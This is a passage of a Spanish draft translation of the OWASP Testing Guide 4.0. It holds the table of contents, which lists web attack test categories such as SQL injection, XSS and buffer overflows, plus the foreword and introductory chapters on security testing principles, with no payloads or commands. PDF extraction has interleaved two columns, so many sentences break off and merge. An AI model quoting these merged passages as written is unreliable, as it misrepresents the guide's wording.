Guia de Pruebas Owasp 4.0 Español PDF

Guia de pruebas 4.
0 "Borrador"
FERNANDO VELA
ROBERTO ANDRADE
QUITO- ECUADOR
Documento Pre-release cortesía de Fernando Vela para drangonjar.org

1
Guia de pruebas 4.0 "Borrador"
LOS ICONOS DE ABAJO REPRESENTAN QUE

OTRAS VERSIONES ESTÁN DISPONIBLES EN
IMPRESO PARA ESTE TÍTULO DE LIBRO.
ALPHA: el contenido del libro "Calidad Alfa" es

un borrador de trabajo. El contenido es muy
áspero y en desarrollo hasta el nivel siguiente de
la publicación.
BETA: el contenido del libro "Calidad Beta" es el

siguiente nivel más alto. El contenido está
todavía en desarrollo hasta la próxima
publicación.
RELEASE: el contenido del libro "Calidad de

Liberación" es el más alto nivel de calidad en un
título del libro ciclo de vida, y es un producto final.

2

3
Indice
0
Página 6-8
Prologo por Eoin Keary
1
Página 9-12
Frontispicio
Acerca de el proyecto de guia de pruebas OWASP
Acerca de el Proyecto de Seguirdad de Aplicaciones WEB Abierta
2
Página 13-37
Introduction
El proyecto de pruebas OWASP
Principios de la prueba
Explicación de las técnicas de prueba
Derivar requerimientos de pruebas de seguirdad
Las pruebas de seguridad integradas al desarrollo y flujos de trabajo de las pruebas de seguridad
Análisis de datos de prueba de seguridad y reportes
3
Página 38-41
El marco referencial (framework) de pruebas de OWASP
Resumen
Fase1: Antes del inicio del desarrollo

1
Fase 2: Durante la definición y diseño
Fase 3: Durante el desarrollo
Fase 4: Durante la fase de implementación
Fase 5: Mantenimiento y operaciones
Flujo de trabajo del marco de pruebas de OWASP
4
Páginas 42-313
Pruebas de seguridad de aplicaciones WEB
Introducción y objetivos
Listado de validación de pruebas
Recopilación de información
Conducir motor de busqueda para el descubrimiento y reconocimiento de fugas de información (OTG-INFO-001)
Huellas digitales servidor WEB (OTG-INFO-002)
Revision de los meta archivos del servidor web en busca de fugas de información (OTG-INFO-003)
Ennumere las aplicaciones en el servidor WEB (OTG-INFO-004)
Revisión de los comentarios del sitio web y los metadatos en busca de fujas de información (OTG-INFO-005)
Identificar puntos de entrada de la aplicación (OTG-INFO-006)
Creación de mapas de rutas de ejecución a través de la aplicación (OTG-INFO-007)
Marco referencial para el uso de huellas digitales en aplicaciones WEB (OTG-INFO-008)
Huellas digitales aplicaciones WEB (OTG-INFO-009)
Mapa de arquitectura de la aplicación (OTG-INFO-010)
Pruebas para gestionar la configuración y la implementación
Prueba configuración Red/Infraestructura (OTG-CONFIG-001)
Prueba de la configuración de la plataforma de aplicaciónes (OTG-CONFIG-002)
Prueba manejo de archivos de extensiones en busca información sensible (OTG-CONFIG-003)
Revisión archivos viejos, copias de seguridad y archivos no referenciados para Información sensible (OTG-CONFIG-004)
Enumeración Infraestructura y de Interfaces de administración de aplicaciones (OTG-CONFIG-005)

2
Prueba metodos HTTP (OTG-CONFIG-006)
Prueba HTTP Strict Transport Security (OTG-CONFIG-007)
Prueba política de dominio cruzado RIA (OTG-CONFIG-008)
Pruebas de Administración de Identidad
Prueba de definición de roles (OTG-IDENT-001)
Prueba proceso de registro de usuarios (OTG-IDENT-002)
Prueba proceso de provisión de cuentas (OTG-IDENT-003)
Pruebas para ennumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)
Pruebas politica de nombre de usuarios debiles o sin fuerza (OTG-IDENT-005)
Pruebas de autenticación
Pruebas para credenciales transportadas sobre canales encriptados (OTG-AUTHN-001)
Pruebas credenciales por defecto (OTG-AUTHN-002)
Pruebas para mecanismos de seguridad débiles (OTG-AUTHN-003)
Pruebas para eludir el esquema de autenticación (OTG-AUTHN-004)
Prueba funcionalidad recordatorio de clave (OTG-AUTHN-005)
Prueba para debilidades en la memoria del navegador (OTG-AUTHN-006)
Prueba para politica de clave débil (OTG-AUTHN-007)
Prueba para seguirdad pregunta/respuest débil (OTG-AUTHN-008)
Prueba para cambios de clave débil o funcionalidades de reinio. (OTG-AUTHN-009)
Prueba para autenticación débil en canal alternativo (OTG-AUTHN-010)
Pruebas de autorización
Prueba de inclusión archivos de directorio de circulación (OTG-AUTHZ-001)
Prueba para evadir el esquema de autorización (OTG-AUTHZ-002)
Prueba para escalación de privilegios (OTG-AUTHZ-003)
Prueba de la referencia de objetos directos inseguros (OTG-AUTHZ-004)
Pruebas de administración e sesión
Prueba para evadir el esquema de administración de sesión (OTG-SESS-001)
Prueba para atributos de cookies (OTG-SESS-002)

3
Prueba de fijación de sesión (OTG-SESS-003)
Prueba de exposición de variables de sesión (OTG-SESS-004)
Prueba para falsificación de petición de sitio cruzado (CSRF) (OTG-SESS-005)
Pruebas funcionalidad cierre de sesión (OTG-SESS-006)
Pruebas del tiempo cierre de sesión (OTG-SESS-007)
Prueba para sobrecarga de variables (Session puzzling) (OTG-SESS-008)
Pruebas de validación de entradas
Pruebas para la reflexión de Cross Site scripting (OTG-INPVAL-001)
Pruebas de Cross Site Scripting almacenados (OTG-INPVAL-002)
Pruebas de manipulación de verbos en HTTP (OTG-INPVAL-003)
Pruebas de contaminación de parámetros HTTP (OTG-INPVAL-004)
Pruebas de Inyecciones de SQL (OTG-INPVAL-005)
Pruebas en Oracle
Pruebas de MySQL
Pruebas del servidor SQL (SQL Server)
Probar la seguridad del proyecto de acceso restringido PostgresSQL de OWASP
Pruebas para MS Access
Pruebas de inyección NoSQL
Pruebas de inyección LDAP (OTG-INPVAL-006)
Pruebas de inyección de ORM (OTG-INPVAL-007)
Pruebas de inyección de XML (OTG-INPVAL-008)
Pruebas de inyección SSI (OTG-INPVAL-009)
Pruebas de inyección XPath (OTG-INPVAL-010)
Pruebas de inyección de IMAP/SMTP (OTG-INPVAL-011)
Pruebas de inyección de código (OTG-INPVAL-012)
Pruebas para determinar la inclusión de documentos locales
Pruebas para la inclusión remota de archivos
Pruebas de inyección de comandos (OTG-INPVAL-013)

4
Pruebe la saturación del Búfer (OTG-INPVAL-014)
Pruebas de saturación de Heap
Probar la saturación de pila de datos
Pruebas para la cadena de formato
Pruebas de las vulnerabilidades incubadas (OTG-INPVAL-015)
Pruebas para verificar la separación/contrabando de HTTP (OTG-INPVAL-016)
Pruebas de manejo de errores
Pruebas de errores de código (OTG-ERR-001)
Pruebas para determinar los rastors de pila de datos (OTG-ERR-002)
Pruebas para Critografía débil
Pruebas de codificadores SSL/TLS débiles, pritección de trasnporte de capas insuficiente (OTG-CRYPST-001)
Prueba del Padding Oracle (REelleno de Oracle) (OTG-CRYPST-002)
Pruebas para el envío de información sensible por canales sin encriptar (OTG-CRYPST-003)
Prueba de la lógica del negocio
Pruebas de la validación de datos de la lógica del negocio (OTG-BUSLOGIC-001)
Prueba de la habilidad para manipular consultas (OTG-BUSLOGIC-002)
Prueba de comprobación de integridad (OTG-BUSLOGIC-003)
Pruebas del tiempo de procesamiento (OTG-BUSLOGIC-004)
Prueba del número de veces que limita el uso de una función (OTG-BUSLOGIC-005)
Pruebas para la evasión de los flujos de trabajo (OTG-BUSLOGIC-006)
Prueba de las defensas contra el mal uso de la aplicación (OTG-BUSLOGIC-007)
Prueba de la posibilidad de carga de tipos de archivos inesperados (OTG-BUSLOGIC-008)
Prueba de la posibilidad de carga de archivos maliciosos (OTG-BUSLOGIC-009)
Pruebas en el lado del cliente
Prueba del Cross Site Scripting basado en DOM (OTG-CLIENT-001)
Prueba de la ejecución de JavaScript (OTG-CLIENT-002)
Prueba de inyección de HTML (OTG-CLIENT-003)
Pruebas de redireccionamiento de la URL del lado del cliente (OTG-CLIENT-004)

5
Pruebas de inyección de CSS (OTG-CLIENT-005)
Pruebas de la manipulación de recursos del lado del cliente (OTG-CLIENT-006)
Pruebas para el Intercambio de recursos de origen cruzado (OTG-CLIENT-007)
Pruebas de Cross Site Flashing (OTG-CLIENT-008)
Pruebas de Clickjacking (OTG-CLIENT-009)
Pruebas de WebSockets (OTG-CLIENT-010)
Prueba de mensajería web (Web Messaging) (OTG-CLIENT-011)
Prueba de Almacenamiento Local (OTG-CLIENT-012)
5
Páginas 314-331
Apéndice
Apéndice A: Herramientas de prueba
Herramientas de Pruebas de Caja Negra de código abierto
Apéndice B: Lecturas sugeridas
Libros Blancos
Libros
Páginas Web Útiles
Apéndice C: Vectores Fuzz
Categorías Fuzz
Apéndice D: Inyección codificada
Codificación de entrada
Codificación de salida

6
Prólogo de la Guía de Pruebas

El problema del software no seguro es quizás el desafío técnico
0
más importante de nuestro tiempo. El dramático aumento de las
aplicaciones web para negocios, redes sociales, etc. sólo ha
7
complicado los requerimientos para definir un enfoque robusto

para escribir y asegurar nuestras Aplicaciones Web e Información.
Prólogo de Eoin Keary, Consejo Global OWASP
El problema del software inseguro es quizás el desafío técnico más importante

de nuestro tiempo. El aumento espectacular de las aplicaciones web que
permiten generar negocios, redes sociales, etc. sólo ha agravado los requisitos
para establecer un enfoque robusto para escribir y asegurar nuestros Internet,
Aplicaciones Web y Datos.
En el Proyecto de Seguridad para Aplicaciones en Red Abierta (OWASP),

estamos tratando de hacer del mundo un lugar donde el software inseguro sea
la anomalía, no la norma. La Guía de Pruebas OWASP tiene un papel
importante que desempeñar en la solución de este grave problema. Es de vital
importancia que nuestro enfoque para pruebas de software por temas de
seguridad se base en los principios de ingeniería y ciencia. Necesitamos un
enfoque consistente, repetible y definido para las pruebas de aplicaciones web.
Un mundo sin normas mínimas en materia de ingeniería y tecnología es un
mundo caótico.
Es obvio que no se puede construir una aplicación segura sin realizar pruebas
de seguridad en la misma. Las pruebas son parte de un enfoque más amplio en
la construcción de un sistema seguro. Muchas organizaciones de desarrollo de
software no incluyen pruebas como parte de su procedimiento estándar de
desarrollo de software. Lo que es peor aún, muchos proveedores de seguridad
entregan pruebas con diversos grados de calidad y rigor.
Las pruebas de seguridad, por sí mismas, no son una medida de seguridad

particularmente confiable de lo segura que es una aplicación, ya que hay un
número infinito de formas en que un atacante podría ser capaz de romper la
aplicación, y simplemente no es posible poner a prueba a todas ellas. No
podemos nosotros mismos hackear seguridades y solo tenemos un tiempo
limitado para probar y defender mientras que un atacante no tiene estas ¿Por qué OWASP?
limitaciones.
Crear una guía como esta es una gran tarea que requiere de la experiencia de
En conjunto con otros proyectos de la OWASP como la Guía de Revisión de
cientos de personas alrededor del mundo. Hay muchas maneras diferentes
Códigos, la Guía de Desarrollo y Herramientas como OWASP ZAP, es un
para detectar fallos de seguridad y esta guía captura el consenso de los
gran comienzo para la construcción y mantenimiento de aplicaciones seguras. principales expertos sobre cómo realizar esta prueba con rapidez, exactitud y
La guía de desarrollo mostrará para su proyecto cómo diseñar y construir una eficiencia.OWASP da a personas de seguridad con conocimientos afines la
aplicación segura, la Guía de Revisión de Códigos le dirá cómo verificar la capacidad de trabajar conjuntamente y formar un enfoque de práctica de
seguridad del código de origen de su aplicación, y esta Guía de Pruebas le liderazgo para un problema de seguridad.
mostrará cómo verificar la seguridad de su aplicación en funcionamiento. Yo
recomiendo utilizar estas guías como parte de sus iniciativas para la seguridad
de su aplicación.

8
La importancia de tener esta guía en forma totalmente libre y abierta es • Los desarrolladores deben usar esta guía para asegurarse de que están
importante para la misión de las fundaciones. Da a cualquiera la capacidad de produciendo códigos seguros. Estas pruebas deben ser parte de los
entender las técnicas usadas para detectar problemas de seguridad comunes. procedimientos normales de los códigos y de la unidad de pruebas.
La seguridad no debe ser un arte oscuro o un secreto cerrado que sólo unos
pocos pueden practicar. Debe estar abierta a todos y no ser exclusiva para los
profesionales en seguridad, sino también para desarrolladores de control de
calidad y gerentes técnicos. El proyecto para la construcción de esta guía • Los evaluadores de software y control de calidad deben usar esta guía para
mantiene la experiencia en manos de la gente que lo necesita; usted, yo y ampliar el conjunto de casos de prueba que emplean en las aplicaciones.
cualquier persona que participa en la construcción de software. Atrapar estas vulnerabilidades tempranamente es un ahorro considerable de
tiempo y esfuerzo más adelante.
Esta guía debe abrirse paso hasta las manos de los desarrolladores y
evaluadores de software. No hay suficientes expertos de seguridad de • Los especialistas en seguridad deben usar esta guía en combinación con
aplicaciones en el mundo para hacer una abolladura significativa en el otras técnicas como una manera de verificar que no se haya escapado algún
problema general. agujero de seguridad en la aplicación.
• Los gerentes de proyectos deben considerar la razón por la que esta guía
existe y que las cuestiones de seguridad se manifiestan mediante errores de
La responsabilidad inicial de seguridad de las aplicaciones debe recaer en los código y diseño.
hombros de los desarrolladores; ellos escriben el código. No debería ser una
sorpresa que los desarrolladores no están produciendo codificación segura si
no la están probando o consideran los tipos de errores que generan la
vulnerabilidad. Lo más importante cuando se realizan pruebas de seguridad es recordar que
se deben priorizar continuamente. Hay un número infinito de posibilidades
para que una aplicación pueda fallar, y las organizaciones siempre han tenido
tiempo y recursos limitados. Asegúrese de que el tiempo y los recursos se
Mantener esta información actualizada es un aspecto crítico de este proyecto utilicen adecuadamente. Trate de concentrarse en los agujeros de seguridad
de guía. Adoptando el enfoque wiki, la comunidad OWASP puede que son un riesgo real para su negocio. Trate de contextualizar el riesgo en
evolucionar y ampliar la información en esta guía para mantener el ritmo con cuanto a la aplicación y sus usos.
el panorama de la veloz amenaza de seguridad a las aplicaciones.
Esta guía se visualiza mejor como un conjunto de técnicas que puede utilizar
para encontrar diferentes tipos de agujeros de seguridad. Pero no todas las
técnicas son igual de importantes. Trate de evitar el uso de la guía como una
Esta guía es un gran testimonio de la pasión y energía que nuestros miembros lista de verificación. Nuevas vulnerabilidades siempre se manifestarán y
y voluntarios del proyecto han dedicado a este tema. Sin duda ayudará a ninguna guía puede ser una lista exhaustiva de "cosas por probar", sino más
cambiar el mundo "una línea de código" a la vez. bien un gran lugar para comenzar.
El papel de las herramientas automatizadas

Confeccionar y Priorizar
Existe un número de empresas que venden análisis de seguridad

Usted debería adoptar esta guía en su organización. Deberá adaptar la automatizados y herramientas de prueba. Recuerde las limitaciones de estas
información para que coincida con la tecnología, procesos y estructura herramientas para que pueda usarlas para lo que son buenas. Como Michael
organizacional de su empresa.
Howard dijo en la Conferencia del 2006 de OWASP AppSec en Seattle: "¡las
herramientas no hacen al software seguro! Ayudan a elevar el proceso y a
cumplir la política."
En general, hay varios roles diferentes que pueden usar esta guía dentro de las
organizaciones:
Lo más importante, estas herramientas son genéricas; lo que significa que no
están diseñadas para un código personalizado, sino para aplicaciones en

9
general. Eso significa que mientras pueden encontrar algunos problemas de las aplicaciones, pero no es exhaustiva. Si encuentra errores, por favor
genéricos, no tienen suficiente conocimiento de la aplicación para que puedan agregue una nota en la página de discusión o haga el cambio usted mismo.
detectar la mayoría de los errores. En mi experiencia, los más graves Estará ayudando a miles de personas que utilizan esta guía.
problemas de seguridad son los que no son genéricos, sino profundamente
entrelazados en su lógica de negocio y diseño de la aplicación personalizada.
Por favor, considere unirse a nosotros como miembro individual o

corporativo, para que podamos seguir produciendo materiales como esta guía
Estas herramientas también pueden ser seductoras, puesto que encuentran una de prueba y todos los otros grandes proyectos en OWASP.
gran cantidad de problemas potenciales. Mientras que ejecutar las
herramientas no toma mucho tiempo, cada uno de los problemas potenciales
toma tiempo en investigar y verificar. Si el objetivo es encontrar y eliminar los
defectos más graves lo más rápidamente posible, considere si es mejor utilizar Gracias a todos los participantes pasados y futuros de esta guía; su trabajo
su tiempo con herramientas automatizadas o con las técnicas descritas en esta ayudará a hacer aplicaciones más seguras en todo el mundo.
guía. Sin embargo, estas herramientas son, sin duda, parte de un programa de
seguridad de aplicaciones bien equilibrado. Usadas sabiamente, pueden
apoyar sus procesos globales para producir un código más seguro.
Llamado a la acción
Eoin Keary, Miembro de la Junta Directiva de OWASP, Abri 19, 2013
Si está construyendo, diseñando o probando software, le animo a

familiarizarse con la guía de la prueba de seguridad en este documento. Es un
gran mapa para probar los problemas más comunes que enfrentan hoy los usos
Frontispicio de la Guía de Prueba
1 "Conocimiento abierto y colaborativo: ésta es la forma de la

OWASP."

10
Con V4 nos dimos cuenta de una nueva guía que será la guía estándar
por defecto para realizar pruebas de Penetración de Aplicaciones
Web. -Matteo Meucci.
El Proyecto de Pruebas OWASP
2 El proyecto de pruebas OWASP ha sido desarrollado durante muchos

años. El objetivo del proyecto es ayudar a las personas a entender el
qué, por qué, cuándo, dónde y cómo de la prueba de las aplicaciones
web.
Redactar la Guía de Pruebas ha demostrado ser una tarea difícil. Fue un reto Un principio básico de la ingeniería de software es que usted no puede controlar lo
conseguir consenso y desarrollar contenidos que permitan aplicar los conceptos que no se puede medir [1]. Las pruebas de seguridad no son diferentes.
descritos en la guía, permitiendo a la vez que trabajen en su propio entorno y Desafortunadamente, medir la seguridad es un proceso difícil. Este tema no se
cultura. También fue un reto el cambiar el enfoque de las pruebas de pruebas de cubrirá en detalle aquí, ya que tendrá su guía propia (para una introducción, vea
penetración a pruebas integradas en el ciclo de vida de desarrollo de las [2]).
aplicaciones web.
Un aspecto que debe destacarse es que las medidas de seguridad son acerca de las
Sin embargo, el grupo está muy satisfecho con los resultados del proyecto. Muchos cuestiones técnicas específicas (por ejemplo, cómo prevalece una cierta
expertos de la industria y profesionales de seguridad, algunos de los cuales son vulnerabilidad) y cómo estos problemas afectan la economía del software. La
responsables de la seguridad del software en algunas de las empresas más grandes mayoría de personas técnicas comprenderán al menos las cuestiones
del mundo, están validando el marco de la prueba. Este marco ayuda a las fundamentales, o pueden tener una comprensión más profunda de las
organizaciones a probar sus aplicaciones web para crear software confiable y vulnerabilidades. Lamentablemente, pocos son capaces de traducir ese
seguro. El marco no solo resalta las áreas débiles, aunque este último es sin duda un conocimiento técnico en términos monetarios y cuantificar el costo potencial de las
subproducto de muchas de las guías y listas de verificación de OWASP. Así, vulnerabilidades al negocio del propietario de la aplicación. Hasta que esto no
decisiones difíciles tuvieron que tomarse, respecto a la conveniencia de ciertas ocurra, los gerentes de sistemas (CIO) no serán capaces de calcular un retorno
técnicas de prueba y tecnologías de pruebas. El Grupo entiende perfectamente que exacto de inversión en seguridad y, consecuentemente, asignar un presupuesto
no todos estarán de acuerdo con todas estas decisiones. Sin embargo, OWASP es apropiado para la seguridad de las aplicaciones.
capaz de alcanzar otros niveles y cambiar la cultura en el tiempo a través de
sensibilización y educación basadas en el consenso y la experiencia. Mientras que calcular el costo de software inseguro puede parecer una tarea
desalentadora, ha habido una cantidad significativa de trabajo en esta dirección. Por
ejemplo, en junio de 2002, el Instituto Nacional Estadounidense de Estándares
(NIST) publicó una encuesta sobre el costo del software inseguro en la economía
El resto de esta guía está organizado como se indica a continuación: Esta de Estados Unidos, debido a la inadecuada prueba de software [3]. Curiosamente,
introducción cubre los prerrequisitos de las pruebas de aplicaciones web y de su se estima que una mejor infraestructura de pruebas ahorraría más de un tercio de
alcance. También cubre los principios exitosos de pruebas y las técnicas de esos costos, o alrededor de $22 mil millones al año. Más recientemente, los
pruebas. El Capítulo 3 presenta el marco de pruebas de OWASP y explica sus vínculos entre la economía y la seguridad han sido estudiados por investigadores
técnicas y tareas en relación con las distintas fases del ciclo de vida del desarrollo académicos. Vea [4] para más información sobre algunos de estos esfuerzos.
de aplicaciones. El Capítulo 4 cubre cómo comprobar vulnerabilidades específicas
(por ejemplo, inyección de SQL) mediante inspección de código y pruebas de
penetración.
El marco descrito en este documento alienta a las personas a medir la seguridad a
través del proceso completo de desarrollo. Pueden, entonces, relacionar el costo del
software inseguro con el impacto que tiene en el negocio y, en consecuencia,
Para medir la seguridad: la economía del software inseguro desarrollar procesos de negocios adecuados y asignar recursos para manejar el
riesgo. Recuerde que la medición y pruebas de aplicaciones web son incluso más
11
críticas que otros programas, ya que las aplicaciones web están expuestas a La mayoría de la gente, hoy en día, no prueba el software hasta que ya ha sido
millones de usuarios a través de Internet. creado y está en la fase de despliegue de su ciclo de vida (es decir, el código ha sido
creado y utilizado en una aplicación web activa). Esto suele ser una práctica muy
ineficaz y con un costo prohibitivo. Uno de los mejores métodos para impedir que
haya fallos de seguridad que aparecen en aplicaciones en producción es mejorar el
¿Qué es probar? Ciclo de Vida de Desarrollo de Software (SDLC), incluyendo seguridades en cada
una de sus fases. Un SDLC es una estructura impuesta sobre el desarrollo de
Durante el ciclo de vida de desarrollo de una aplicación web necesitan probarse artefactos de software. Si un SDLC actualmente no está siendo utilizando en su
muchas cosas, pero ¿qué significa realmente probar? El diccionario Merriam- entorno, ¡es hora de elegir uno! La siguiente figura muestra un modelo SDLC
Webster describe como: genérico, así como el costo creciente (estimado) de corrección de fallas de
seguridad en este modelo.
• Poner a prueba o verificar.

Figura 1: Modelo SDLC genérico
• Someterse a una prueba.
• Asignar una posición o una evaluación basada en pruebas.
Para los efectos de este documento, probar es un proceso de comparar el estado de

un sistema o una aplicación contra un conjunto de criterios. En la industria de
seguridad, las personas, con frecuencia, prueban contra un conjunto de criterios
mentales que no son bien definidos ni completos. Como resultado de esto, muchas
personas ajenas consideran las pruebas como un arte oscuro. El objetivo de este
documento es cambiar esa percepción y hacerlo más fácil para que personas sin
conocimientos detallados de seguridad puedan hacer una diferencia en las pruebas.
¿Por qué realizar pruebas?
Este documento está diseñado para ayudar a las organizaciones a entender lo que
comprende un programa de pruebas y para ayudarles a identificar los pasos que
deben realizarse para construir y operar un programa de pruebas en aplicaciones
web. La guía ofrece una amplia visión de los elementos necesarios para hacer un
programa comprensible de seguridad para aplicaciones web. Esta guía puede
utilizarse como una guía de referencia y metodología para ayudar a determinar la
brecha entre las prácticas existentes y las mejores prácticas de la industria. Esta
guía permite a las organizaciones compararse con colegas del sector, para
comprender la magnitud de los recursos necesarios para probar y mantener el
software, o para prepararse para una auditoría. Este capítulo no entra en los detalles
Las empresas deben inspeccionar su SDLC para garantizar que la seguridad es
parte integral del proceso de desarrollo. Los SDLC deben incluir pruebas de
seguridad para garantizar que esta esté adecuadamente cubierta y los controles sean
eficaces durante todo el proceso de desarrollo.
técnicos de cómo probar una aplicación, ya que la intención es proporcionar un

marco de seguridad organizacional típico. Los detalles técnicos acerca de cómo
probar una aplicación, como parte de una revisión de códigos o pruebas de ¿Qué se prueba?
penetración, se cubrirá en las demás partes de este documento.
Puede ser útil pensar en el desarrollo de software como una combinación de
personas, procesos y tecnología. Si estos son los factores que "crean" software,
entonces es lógico que estos sean los factores que deben analizarse. Hoy, la
¿Cuándo probar? mayoría de la gente generalmente prueba la tecnología o el software mismo.

12
Un programa efectivo de pruebas debe tener componentes que prueban:

Principios de la prueba
Personas – para asegurar que existe una educación adecuada y consciente;
Proceso – para asegurar que hay criterios y políticas adecuadas y que las No hay una bala de plata
Aunque es tentador pensar que un escáner de seguridad o cortafuegos para

aplicaciones pueden proporcionar muchas defensas contra el ataque o identificar
una serie de problemas, en realidad no hay ninguna bala de plata para el problema
del software inseguro. El software de evaluación de seguridad, aunque es útil como
personas sepan cómo seguir estas políticas; un primer paso para encontrar el premio deseado, suele ser inmaduro e ineficaz en
las evaluaciones a fondo o en brindar una prueba de cobertura adecuada. Recuerde
Tecnología – para garantizar que el proceso ha sido eficaz en su implementación. que la seguridad es un proceso y no un producto.
A menos que se adopte un enfoque integral, sólo probar la aplicación técnica de Pensar estratégicamente, no tácticamente
una aplicación no destapará la gestión o vulnerabilidades operacionales que podrían
estar presentes. Probando a las personas, políticas y procesos, una organización En los últimos años, los profesionales de la seguridad se han dado cuenta de la
puede encontrar temas que después se manifiesten en defectos en la tecnología, así falacia del modelo de remendar y penetrar que fue dominante en la seguridad de la
como erradicar errores tempranamente e identificar la causa de los defectos. información durante la década de 1990. El modelo de remendar y penetrar implica
Además, sólo probando algunas de las cuestiones técnicas que pueden estar corregir un error reportado, pero sin una investigación adecuada de la causa inicial.
presentes en un sistema resultará en una evaluación de seguridad incompleta e Este modelo se asocia generalmente a la ventana de vulnerabilidad que se muestra
inexacta. en la figura siguiente. La evolución de las vulnerabilidades en software común
utilizado en todo el mundo ha demostrado la ineficacia de este modelo. Para
obtener más información acerca de la ventana de la vulnerabilidad, consulte [6].
Denis Verdon, Jefe de Seguridad de la Información en Fidelity National Finantial,

presentó una excelente analogía de este concepto erróneo en la Conferencia
OWASP AppSec 2004 en Nueva York [5]: «si los coches fueran construidos como Estudios de vulnerabilidad [7] han demostrado que, con el tiempo de reacción de
aplicaciones [...] las pruebas de seguridad asumirían únicamente un impacto frontal. los atacantes en todo el mundo, la típica ventana de vulnerabilidad no proporciona
Los coches no serían probados en volcamiento, o pruebas de estabilidad en suficiente tiempo para la instalación de la corrección, desde el momento de
maniobras de emergencia, la efectividad de los frenos, impacto lateral y la descubrir una vulnerabilidad; que se desarrolle y lance un ataque automático contra
resistencia al robo." la aplicación ha ido disminuyendo cada año.
Hay varias suposiciones incorrectas en el modelo de parche y penetración. Muchos

usuarios creen que los parches interfieren con las operaciones normales y podrían
dañar las aplicaciones existentes. También es incorrecto asumir que todos los
usuarios están conscientes de los parches recientemente lanzados. Por lo tanto, no
Retroalimentación y comentarios todos los usuarios de un producto aplicarán parches, porque piensan que el parche
puede interferir con el funcionamiento del software o por la falta de conocimiento
Como con todos los proyectos de OWASP, agradecemos sus comentarios sobre la existencia del parche.
y sugerencias. Especialmente nos gusta saber que nuestro trabajo está siendo
utilizado y que es eficaz y preciso.
Figura 2: Ventana de vulnerabilidad
Hay algunos errores comunes al desarrollar una metodología de pruebas para
encontrar las fallas de seguridad en el software. Este capítulo cubre algunos de los
principios básicos que los profesionales deben tomar en cuenta al realizar pruebas
de seguridad en el software.

13
Es fundamental incluir la seguridad en el ciclo de vida de desarrollo de software

(SDLC) para evitar problemas de seguridad recurrentes dentro de una aplicación.
Los desarrolladores pueden incluir la seguridad en el SDLC mediante el desarrollo
de normas, políticas y directrices que encajan y funcionan dentro de la metodología
de desarrollo. El uso de modelos de amenazas y otras técnicas deberían usarse para
ayudar a asignar recursos adecuados a las partes de un sistema que están en mayor
riesgo.
El SDLC es rey
El SDLC es un proceso muy conocido por los desarrolladores. Integrando la

seguridad en cada fase del SDLC, nos permite una visión holística de la seguridad
de la aplicación que aprovecha los procedimientos vigentes dentro de la
organización. Tome en cuenta que mientras los nombres de las distintas fases
pueden cambiar dependiendo del modelo de SDLC utilizado por cada
organización, cada fase conceptual del arquetipo SDLC será utilizado para
desarrollar la aplicación (es decir, definir, diseñar, desarrollar,
implementar, mantener). Cada fase tiene consideraciones de seguridad que deben

formar parte del proceso existente, para asegurar un programa de seguridad integral
y rentable.
Hay varios marcos seguros de SDLC que ofrecen consejos tanto descriptivos como
prescriptivos. Si una persona toma el consejo descriptivo o preceptivo, depende de
la madurez del proceso de SDLC. Esencialmente, el asesoramiento prescriptivo
muestra cómo debe trabajar el SDLC seguro y el asesoramiento descriptivo
muestra cómo debe usarse en el mundo real. Ambos tienen su lugar.

14
Por ejemplo, si no sabe por dónde empezar, un marco prescriptivo puede herramientas automatizadas son realmente malas al realizar pruebas de
proporcionar un menú de controles de seguridad potenciales que pueden aplicarse vulnerabilidad automáticamente es que este pensamiento creativo debe hacerse
en el SDLC. El asesoramiento descriptivo puede entonces impulsar el proceso de caso por caso, ya que la mayoría de las aplicaciones web se desarrollan de una
decisión mediante la presentación de lo que ha funcionado bien para otras manera única (aun cuando usen marcos comunes).
organizaciones. SDLC descriptivos seguros son BSIMM-V, y SDLC prescriptivos
seguros incluyen el Software Abierto de Modelo de Garantía de Madurez de
OWASP (OpenSAMM) y el ISO/IEC 27034, partes 1-8, segmentos del cual
todavía están en desarrollo. Entender el tema
Una de las primeras iniciativas importantes en cualquier buen programa de

seguridad es solicitar documentación precisa sobre la aplicación. La arquitectura,
Prueba temprano y prueba continuamente diagramas de flujo de datos, casos de uso, etc., deberían ser escritos en documentos
formales y disponibles para su revisión. Las especificaciones técnicas y
Cuando un error se detecta tempranamente dentro del SDLC, puede abordarse más documentos de la aplicación deben incluir información que muestre no sólo los
rápido y a menor costo. En este sentido, un fallo de seguridad no es diferente de un casos deseados de uso, sino también cualquier caso de uso no permitido
fallo funcional o de un fallo basado en el rendimiento. Un paso clave para hacer expresamente. Por último, es bueno tener al menos una infraestructura de seguridad
que esto sea posible es educar a los equipos de desarrollo y control de calidad sobre básica que permita la supervisión y seguimiento de tendencias de ataque contra las
los problemas comunes de seguridad y las maneras de detectar y evitarlos. Aunque aplicaciones y la red de la organización (por ejemplo, los sistemas IDS).
las nuevas bibliotecas, herramientas o idiomas pueden ayudar a diseñar mejores
programas (con menos errores de seguridad), nuevas amenazas surgen
Utilizar la herramientas correctas
constantemente y los desarrolladores deben ser conscientes de las amenazas que Aunque ya hemos indicado que no hay ninguna herramienta perfecta, las
afectan al software que están desarrollando. La educación en pruebas de seguridad herramientas juegan un papel crítico en el programa general de seguridad. Hay una
también ayuda a los desarrolladores a adquirir la mentalidad apropiada para probar gama de herramientas de código abierto y herramientas comerciales que pueden
una aplicación desde la perspectiva de un atacante. Esto permite a cada automatizar muchas tareas rutinarias de seguridad. Estas herramientas pueden
organización considerar los problemas de seguridad como parte de sus simplificar y acelerar el proceso de seguridad al ayudar al personal de seguridad en
responsabilidades actuales. sus tareas. Sin embargo, es importante entender exactamente lo que estas
herramientas pueden y no pueden hacer para que no se sobrevaloren o se utilicen
incorrectamente.
Comprender el ámbito de seguridad
Es importante saber cuánta seguridad requerirá un proyecto. La información y los El Diablo se encuentra en los detalles
activos que deben ser protegidos deberán tener una clasificación que establezca
cómo deben ser manejados (por ejemplo, confidencial, secreto, ultra secreto). Las Es fundamental no realizar una revisión superficial de la seguridad de una
discusiones deben llevarse a cabo con consejo legal para asegurarse de que se aplicación y considerarla completa. Esto generará una falsa sensación de confianza
cumplan los requisitos de seguridad específicos. En E.E.U.U., los requisitos que puede ser tan peligrosa como el no haber hecho una revisión de seguridad
podrían venir de regulaciones federales, como la ley de Gramm-Leach-Bliley [8], o desde un inicio. Es vital revisar los hallazgos y descartar
de las leyes estatales, como la ley de California SB-1386 [9]. Para organizaciones
con sede en países de la UE, tanto los reglamentos del país como las directivas de
la UE pueden aplicar. Por ejemplo, la Directiva 96/46/EC4 [10] que obliga a tratar
